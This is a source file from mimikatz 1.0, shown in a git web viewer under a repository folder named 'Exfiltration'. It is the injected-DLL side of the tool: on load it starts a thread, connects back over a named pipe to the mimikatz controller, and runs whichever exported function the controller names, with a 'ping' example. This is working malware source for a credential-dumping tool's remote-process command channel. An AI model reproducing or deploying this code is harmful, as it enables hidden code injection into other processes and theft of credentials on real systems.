aboutsummaryrefslogtreecommitdiff
path: root/Exfiltration/mimikatz-1.0/commun/kmodel.cpp
blob: a87ea8f7803f09d23376165365fddd0c26b876f5 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
/*	Benjamin DELPY `gentilkiwi`
	http://blog.gentilkiwi.com
	benjamin@gentilkiwi.com
	Licence : http://creativecommons.org/licenses/by/3.0/fr/
*/
#include "kmodel.h"

HMODULE g_hModule = NULL;

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
	if (ul_reason_for_call == DLL_PROCESS_ATTACH)
	{
		g_hModule = hModule;

		HANDLE hThread = CreateThread(NULL,	0, &ThreadProc,	NULL, 0, NULL);
		if(hThread && hThread != INVALID_HANDLE_VALUE)
		{
			return CloseHandle(hThread);
		}
	}
	return TRUE;
}

DWORD WINAPI ThreadProc(LPVOID lpParameter)
{
	mod_pipe * monCommunicator = new mod_pipe(L"kiwi\\mimikatz");
	
	bool succes = false;
	for(DWORD nbRetry = 1; nbRetry <= 5 && !succes; nbRetry++)
	{
		succes = monCommunicator->createClient();
		if(!succes)
		{
			Sleep(3000);
		}
	}

	if(succes)
	{
		ptrFunctionString maFonctionString = reinterpret_cast<ptrFunctionString>(GetProcAddress(g_hModule, "getDescription"));
		
		wstring monBuffer = L"Bienvenue dans un processus distant\n\t\t\tGentil Kiwi";
		if(maFonctionString)
		{
			wstring * maDescription = new wstring();
			if(maFonctionString(maDescription))
			{
				monBuffer.append(L"\n\n");
				monBuffer.append(*maDescription);
			}
			delete maDescription;
		}


		
		if(monCommunicator->writeToPipe(monBuffer))
		{				
			for(;;)
			{ 
				if(monCommunicator->readFromPipe(monBuffer))
				{
					wstring fonction = monBuffer;
					vector<wstring> arguments;
		
					size_t monIndex = fonction.find(L' ');
	
					if(monIndex != wstring::npos)
					{
						arguments = mod_parseur::parse(fonction.substr(monIndex + 1));
						fonction = fonction.substr(0, monIndex);
					}

					string procDll(fonction.begin(), fonction.end());
					
					ptrFunction maFonction = reinterpret_cast<ptrFunction>(GetProcAddress(g_hModule, procDll.c_str()));

					if(maFonction)
					{
						if(maFonction(monCommunicator, &arguments))
						{
							monBuffer = L"@";
						}
						else // La fonction à retourné FALSE, il y a donc anomalie bloquante sur le canal
						{
							break;
						}
					}
					else
					{
						monBuffer = L"@Méthode \'";
						monBuffer.append(fonction);
						monBuffer.append(L"\' introuvable !\n");
					}

					if(!monCommunicator->writeToPipe(monBuffer))
					{
						break;
					}
				}
				else
				{
					break;
				}
			}
		}
	}

	delete monCommunicator;

	FreeLibraryAndExitThread(g_hModule, 0);
	return 0;
}

bool sendTo(mod_pipe * monPipe, wstring message)
{
	wstring reponse = L"#";
	reponse.append(message);

	return monPipe->writeToPipe(reponse);
}


__kextdll bool __cdecl ping(mod_pipe * monPipe, vector<wstring> * mesArguments)
{
	bool sendOk = sendTo(monPipe, L"pong");
	
	for(vector<wstring>::iterator monArgument = mesArguments->begin(); monArgument != mesArguments->end() && sendOk; monArgument++)
	{
		wstring maReponse = L" - argument:";
		maReponse.append(*monArgument);
		sendOk = sendTo(monPipe, maReponse);
	}
	
	if(sendOk)
		sendOk = sendTo(monPipe, L"\n");
	
	return sendOk;
}